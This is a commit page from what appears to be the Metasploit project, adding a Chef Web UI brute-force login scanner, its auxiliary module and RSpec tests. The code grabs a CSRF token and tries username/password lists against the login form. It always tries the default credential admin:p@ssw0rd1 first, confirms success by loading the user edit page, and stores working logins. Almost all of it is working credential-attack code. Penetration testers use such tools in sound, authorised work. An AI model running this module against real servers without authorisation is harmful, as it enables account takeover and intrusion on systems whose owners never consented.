Add a chef brute force module
parent
27d5ab45b4
commit
2847507f03
|
@ -0,0 +1,144 @@
|
|||
|
||||
require 'metasploit/framework/login_scanner/http'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
|
||||
# The ChefWebUI HTTP LoginScanner class provides methods to authenticate to Chef WebUI
|
||||
class ChefWebUI < HTTP
|
||||
|
||||
DEFAULT_PORT = 80
|
||||
PRIVATE_TYPES = [ :password ]
|
||||
|
||||
# @!attribute session_name
|
||||
# @return [String] Cookie name for session_id
|
||||
attr_accessor :session_name
|
||||
|
||||
# @!attribute session_id
|
||||
# @return [String] Cookie value
|
||||
attr_accessor :session_id
|
||||
|
||||
|
||||
# (see Base#check_setup)
|
||||
def check_setup
|
||||
begin
|
||||
res = send_request({'uri' => normalize_uri('/users/login')})
|
||||
return "Connection failed" if res.nil?
|
||||
|
||||
if res.code != 200
|
||||
return "Unexpected HTTP response code #{res.code} (is this really Chef WebUI?)"
|
||||
end
|
||||
|
||||
if res.body.to_s !~ /<title>Chef Server<\/title>/
|
||||
return "Unexpected HTTP body (is this really Chef WebUI?)"
|
||||
end
|
||||
|
||||
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
|
||||
return "Unable to connect to target"
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
# Sends a HTTP request with Rex
|
||||
#
|
||||
# @param (see Rex::Proto::Http::Resquest#request_raw)
|
||||
# @return [Rex::Proto::Http::Response] The HTTP response
|
||||
def send_request(opts)
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => self}, ssl, ssl_version, proxies)
|
||||
cli.connect
|
||||
req = cli.request_raw(opts)
|
||||
res = cli.send_recv(req)
|
||||
|
||||
# Save the session ID cookie
|
||||
if res && res.get_cookies =~ /(_\w+_session)=([^;$]+)/i
|
||||
self.session_name = $1
|
||||
self.session_id = $2
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
# Sends a login request
|
||||
#
|
||||
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||
# @return [Rex::Proto::Http::Response] The HTTP auth response
|
||||
def try_credential(csrf_token, credential)
|
||||
|
||||
data = "utf8=%E2%9C%93" # ✓
|
||||
data << "&authenticity_token=#{Rex::Text.uri_encode(csrf_token)}"
|
||||
data << "&name=#{Rex::Text.uri_encode(credential.public)}"
|
||||
data << "&password=#{Rex::Text.uri_encode(credential.private)}"
|
||||
data << "&commit=login"
|
||||
|
||||
opts = {
|
||||
'uri' => normalize_uri('/users/login_exec'),
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' => {
|
||||
'Content-Type' => 'application/x-www-form-urlencoded',
|
||||
'Cookie' => "#{self.session_name}=#{self.session_id}"
|
||||
}
|
||||
}
|
||||
|
||||
send_request(opts)
|
||||
end
|
||||
|
||||
|
||||
# Tries to login to Chef WebUI
|
||||
#
|
||||
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||
# @return [Hash]
|
||||
# * :status [Metasploit::Model::Login::Status]
|
||||
# * :proof [String] the HTTP response body
|
||||
def try_login(credential)
|
||||
|
||||
# Obtain a CSRF token first
|
||||
res = send_request({'uri' => normalize_uri('/users/login')})
|
||||
unless (res && res.code == 200 && res.body =~ /input name="authenticity_token" type="hidden" value="([^"]+)"/m)
|
||||
return {:status => Metasploit::Model::Login::Status::UNTRIED, :proof => res.body}
|
||||
end
|
||||
|
||||
csrf_token = $1
|
||||
|
||||
res = try_credential(csrf_token, credential)
|
||||
if res && res.code == 302
|
||||
opts = {
|
||||
'uri' => normalize_uri("/users/#{credential.public}/edit"),
|
||||
'method' => 'GET',
|
||||
'headers' => {
|
||||
'Cookie' => "#{self.session_name}=#{self.session_id}"
|
||||
}
|
||||
}
|
||||
res = send_request(opts)
|
||||
if (res && res.code == 200 && res.body.to_s =~ /New password for the User/)
|
||||
return {:status => Metasploit::Model::Login::Status::SUCCESSFUL, :proof => res.body}
|
||||
end
|
||||
end
|
||||
|
||||
{:status => Metasploit::Model::Login::Status::INCORRECT, :proof => res.body}
|
||||
end
|
||||
|
||||
# Decides which login routine and returns the results
|
||||
#
|
||||
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||
# @return [Result]
|
||||
def attempt_login(credential)
|
||||
result_opts = { credential: credential }
|
||||
|
||||
begin
|
||||
status = try_login(credential)
|
||||
result_opts.merge!(status)
|
||||
rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
||||
end
|
||||
|
||||
Result.new(result_opts)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,162 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'metasploit/framework/login_scanner/chef_webui'
|
||||
require 'metasploit/framework/credential_collection'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Chef Web UI Brute Force Utility',
|
||||
'Description' => %q{
|
||||
This module attempts to login to Chef Web UI server instance using username and password
|
||||
combinations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options. It
|
||||
will also test for the default login (admin:p@ssw0rd1).
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'hdm'
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptString.new('TARGETURI', [ true, 'The path to the Chef Web UI application', '/']),
|
||||
OptBool.new('SSL', [true, 'Negotiate SSL for outgoing connections', true]),
|
||||
OptEnum.new('SSLVersion', [false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def init_loginscanner(ip)
|
||||
@cred_collection = Metasploit::Framework::CredentialCollection.new(
|
||||
blank_passwords: datastore['BLANK_PASSWORDS'],
|
||||
pass_file: datastore['PASS_FILE'],
|
||||
password: datastore['PASSWORD'],
|
||||
user_file: datastore['USER_FILE'],
|
||||
userpass_file: datastore['USERPASS_FILE'],
|
||||
username: datastore['USERNAME'],
|
||||
user_as_pass: datastore['USER_AS_PASS']
|
||||
)
|
||||
|
||||
# Always try the default first
|
||||
@cred_collection.prepend_cred(
|
||||
Metasploit::Framework::Credential.new(public: 'admin', private: 'p@ssw0rd1')
|
||||
)
|
||||
|
||||
@scanner = Metasploit::Framework::LoginScanner::ChefWebUI.new(
|
||||
host: ip,
|
||||
port: rport,
|
||||
proxies: datastore['PROXIES'],
|
||||
uri: datastore['TARGETURI'],
|
||||
cred_details: @cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
connection_timeout: 5,
|
||||
framework: framework,
|
||||
framework_module: self,
|
||||
)
|
||||
|
||||
@scanner.ssl = datastore['SSL']
|
||||
@scanner.ssl_version = datastore['SSLVERSION']
|
||||
end
|
||||
|
||||
def do_report(ip, port, result)
|
||||
service_data = {
|
||||
address: ip,
|
||||
port: port,
|
||||
service_name: 'http',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
module_fullname: self.fullname,
|
||||
origin_type: :service,
|
||||
private_data: result.credential.private,
|
||||
private_type: :password,
|
||||
username: result.credential.public,
|
||||
}.merge(service_data)
|
||||
|
||||
credential_core = create_credential(credential_data)
|
||||
|
||||
login_data = {
|
||||
core: credential_core,
|
||||
last_attempted_at: DateTime.now,
|
||||
status: result.status
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def bruteforce(ip)
|
||||
@scanner.scan! do |result|
|
||||
case result.status
|
||||
when Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'"
|
||||
do_report(ip, rport, result)
|
||||
:next_user
|
||||
when Metasploit::Model::Login::Status::DENIED_ACCESS
|
||||
print_brute :level => :status, :ip => ip, :msg => "Correct credentials, but unable to login: '#{result.credential}'"
|
||||
do_report(ip, rport, result)
|
||||
:next_user
|
||||
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
if datastore['VERBOSE']
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
|
||||
end
|
||||
invalidate_login(
|
||||
address: ip,
|
||||
port: rport,
|
||||
protocol: 'tcp',
|
||||
public: result.credential.public,
|
||||
private: result.credential.private,
|
||||
realm_key: result.credential.realm_key,
|
||||
realm_value: result.credential.realm,
|
||||
status: result.status
|
||||
)
|
||||
:abort
|
||||
when Metasploit::Model::Login::Status::INCORRECT
|
||||
if datastore['VERBOSE']
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
|
||||
end
|
||||
invalidate_login(
|
||||
address: ip,
|
||||
port: rport,
|
||||
protocol: 'tcp',
|
||||
public: result.credential.public,
|
||||
private: result.credential.private,
|
||||
realm_key: result.credential.realm_key,
|
||||
realm_value: result.credential.realm,
|
||||
status: result.status
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# main
|
||||
#
|
||||
def run_host(ip)
|
||||
init_loginscanner(ip)
|
||||
msg = @scanner.check_setup
|
||||
if msg
|
||||
print_brute :level => :error, :ip => rhost, :msg => msg
|
||||
return
|
||||
end
|
||||
|
||||
print_brute :level=>:status, :ip=>rhost, :msg=>("Found Chef Web UI application at #{datastore['TARGETURI']}")
|
||||
bruteforce(ip)
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,182 @@
|
|||
|
||||
require 'spec_helper'
|
||||
require 'metasploit/framework/login_scanner/chef_webui'
|
||||
|
||||
describe Metasploit::Framework::LoginScanner::ChefWebUI do
|
||||
|
||||
subject(:http_scanner) { described_class.new }
|
||||
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
|
||||
|
||||
|
||||
let(:username) do
|
||||
'admin'
|
||||
end
|
||||
|
||||
let(:password) do
|
||||
'password'
|
||||
end
|
||||
|
||||
let(:cred) do
|
||||
Metasploit::Framework::Credential.new(
|
||||
paired: true,
|
||||
public: username,
|
||||
private: password
|
||||
)
|
||||
end
|
||||
|
||||
let(:bad_cred) do
|
||||
Metasploit::Framework::Credential.new(
|
||||
paired: true,
|
||||
public: 'bad',
|
||||
private: 'bad'
|
||||
)
|
||||
end
|
||||
|
||||
let(:disabled_cred) do
|
||||
Metasploit::Framework::Credential.new(
|
||||
paired: true,
|
||||
public: username_disabled,
|
||||
private: password_disabled
|
||||
)
|
||||
end
|
||||
|
||||
let(:res_code) do
|
||||
200
|
||||
end
|
||||
|
||||
context '#send_request' do
|
||||
let(:req_opts) do
|
||||
{'uri'=>'/users/sign_in', 'method'=>'GET'}
|
||||
end
|
||||
|
||||
it 'returns a Rex::Proto::Http::Response object' do
|
||||
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).and_return(Rex::Proto::Http::Response.new(res_code))
|
||||
expect(http_scanner.send_request(req_opts)).to be_kind_of(Rex::Proto::Http::Response)
|
||||
end
|
||||
|
||||
it 'parses session cookies' do
|
||||
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).and_return(Rex::Proto::Http::Response.new(res_code))
|
||||
allow_any_instance_of(Rex::Proto::Http::Response).to receive(:get_cookies).and_return("_sandbox_session=c2g2ZXVhZWRpU1RMTDg1SmkyS0pQVnUwYUFCcDZJYklwb2gyYmhZd2dvcGI3b2VSaWd6L0Q4SkVOaytKa1VPNmd0R01HRHFabnFZZ09YUVZhVHFPWnhRdkZTSHF6VnpCU1Y3VFRRcTEyV0xVTUtLNlZIK3VBM3V2ZlFTS2FaOWV3cjlPT2RLRlZIeG1UTElMY3ozUEtIOFNzWkFDbW9VQ1VpRlF6ZThiNXZHbmVudWY0Nk9PSSsxSFg2WVZjeklvLS1UTk1GU2x6QXJFR3lFSjNZL0JhYzBRPT0%3D--6f0cc3051739c8a95551339c3f2a084e0c30924e")
|
||||
http_scanner.send_request(req_opts)
|
||||
expect(http_scanner.session_name).to eq("_sandbox_session")
|
||||
expect(http_scanner.session_id).to eq("c2g2ZXVhZWRpU1RMTDg1SmkyS0pQVnUwYUFCcDZJYklwb2gyYmhZd2dvcGI3b2VSaWd6L0Q4SkVOaytKa1VPNmd0R01HRHFabnFZZ09YUVZhVHFPWnhRdkZTSHF6VnpCU1Y3VFRRcTEyV0xVTUtLNlZIK3VBM3V2ZlFTS2FaOWV3cjlPT2RLRlZIeG1UTElMY3ozUEtIOFNzWkFDbW9VQ1VpRlF6ZThiNXZHbmVudWY0Nk9PSSsxSFg2WVZjeklvLS1UTk1GU2x6QXJFR3lFSjNZL0JhYzBRPT0%3D--6f0cc3051739c8a95551339c3f2a084e0c30924e")
|
||||
end
|
||||
end
|
||||
|
||||
context '#try_credential' do
|
||||
it 'sends a login request to /users/login_exec' do
|
||||
expect(http_scanner).to receive(:send_request).with(hash_including('uri'=>'/users/login_exec'))
|
||||
http_scanner.try_credential('byV12YkMA6NV3zJFqclZjy1JR+AZYbCx75gT0dipoAo=', cred)
|
||||
end
|
||||
|
||||
it 'sends a login request containing the username and password' do
|
||||
expect(http_scanner).to receive(:send_request).with(hash_including('data'=>"utf8=%E2%9C%93&authenticity_token=byV12YkMA6NV3zJFqclZjy1JR%2bAZYbCx75gT0dipoAo%3d&name=#{username}&password=#{password}&commit=login"))
|
||||
http_scanner.try_credential('byV12YkMA6NV3zJFqclZjy1JR+AZYbCx75gT0dipoAo=', cred)
|
||||
end
|
||||
end
|
||||
|
||||
context '#try_login' do
|
||||
|
||||
let(:login_ok_message) do
|
||||
'New password for the User'
|
||||
end
|
||||
|
||||
before :each do
|
||||
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv) do |cli, req|
|
||||
if req.opts['uri'] && req.opts['uri'].include?('/users/login_exec') &&
|
||||
req.opts['data'] &&
|
||||
req.opts['data'].include?("name=#{username}") &&
|
||||
req.opts['data'].include?("password=#{password}")
|
||||
res = Rex::Proto::Http::Response.new(302)
|
||||
res.headers['Location'] = "/users/#{username}/edit"
|
||||
res.headers['Set-Cookie'] = '_sandbox_session=c2g2ZXVhZWRpU1RMTDg1SmkyS0pQVnUwYUFCcDZJYklwb2gyYmhZd2dvcGI3b2VSaWd6L0Q4SkVOaytKa1VPNmd0R01HRHFabnFZZ09YUVZhVHFPWnhRdkZTSHF6VnpCU1Y3VFRRcTEyV0xVTUtLNlZIK3VBM3V2ZlFTS2FaOWV3cjlPT2RLRlZIeG1UTElMY3ozUEtIOFNzWkFDbW9VQ1VpRlF6ZThiNXZHbmVudWY0Nk9PSSsxSFg2WVZjeklvLS1UTk1GU2x6QXJFR3lFSjNZL0JhYzBRPT0%3D--6f0cc3051739c8a95551339c3f2a084e0c30924e'
|
||||
res
|
||||
elsif req.opts['uri'] && req.opts['uri'].include?('/users/login')
|
||||
res = Rex::Proto::Http::Response.new(200)
|
||||
res.body = '<input name="authenticity_token" type="hidden" value="byV12YkMA6NV3zJFqclZjy1JR+AZYbCx75gT0dipoAo=" />'
|
||||
elsif req.opts['uri'] && req.opts['uri'].include?('/users/login_exec')
|
||||
res = Rex::Proto::Http::Response.new(200)
|
||||
res.body = 'bad login'
|
||||
elsif req.opts['uri'] &&
|
||||
req.opts['uri'].include?("/users/#{username}/edit")
|
||||
res = Rex::Proto::Http::Response.new(200)
|
||||
res.body = 'New password for the User'
|
||||
else
|
||||
res = Rex::Proto::Http::Response.new(404)
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
end
|
||||
|
||||
it 'returns status Metasploit::Model::Login::Status::SUCCESSFUL for a valid credential' do
|
||||
expect(http_scanner.try_login(cred)[:status]).to eq(Metasploit::Model::Login::Status::SUCCESSFUL)
|
||||
end
|
||||
|
||||
it 'returns Metasploit::Model::Login::Status::INCORRECT for an invalid credential' do
|
||||
expect(http_scanner.try_login(bad_cred)[:status]).to eq(Metasploit::Model::Login::Status::INCORRECT)
|
||||
end
|
||||
end
|
||||
|
||||
context '#attempt_login' do
|
||||
context 'when Rex::Proto::Http::Client#connect raises a Rex::ConnectionError' do
|
||||
it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do
|
||||
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(Rex::ConnectionError)
|
||||
expect(http_scanner.attempt_login(cred).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
|
||||
end
|
||||
end
|
||||
|
||||
context 'when Rex::Proto::Http::Client#connect raises a Timeout::Error' do
|
||||
it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do
|
||||
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(Timeout::Error)
|
||||
expect(http_scanner.attempt_login(cred).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
|
||||
end
|
||||
end
|
||||
|
||||
context 'when Rex::Proto::Http::Client#connect raises a EOFError' do
|
||||
it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do
|
||||
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(EOFError)
|
||||
expect(http_scanner.attempt_login(cred).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
|
||||
end
|
||||
end
|
||||
|
||||
context 'when ChefWebUI' do
|
||||
let(:login_ok_message) do
|
||||
'<title>ChefWebUI 2.4 Appliance: User profile</title>'
|
||||
end
|
||||
|
||||
it 'returns a Metasploit::Framework::LoginScanner::Result' do
|
||||
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv) do |cli, req|
|
||||
if req.opts['uri'] && req.opts['uri'].include?('index.php') &&
|
||||
req.opts['data'] &&
|
||||
req.opts['data'].include?("name=#{username}") &&
|
||||
req. opts['data'].include?("password=#{password}")
|
||||
res = Rex::Proto::Http::Response.new(302)
|
||||
res.headers['Location'] = 'profile.php'
|
||||
res.headers['Set-Cookie'] = 'zbx_sessionid=GOODSESSIONID'
|
||||
res
|
||||
elsif req.opts['uri'] && req.opts['uri'].include?('index.php')
|
||||
res = Rex::Proto::Http::Response.new(200)
|
||||
res.body = 'bad login'
|
||||
elsif req.opts['uri'] &&
|
||||
req.opts['uri'].include?('profile.php')
|
||||
res = Rex::Proto::Http::Response.new(200)
|
||||
res.body = 'New password for the User'
|
||||
else
|
||||
res = Rex::Proto::Http::Response.new(404)
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
expect(http_scanner.attempt_login(cred)).to be_kind_of(Metasploit::Framework::LoginScanner::Result)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
Loading…
Reference in New Issue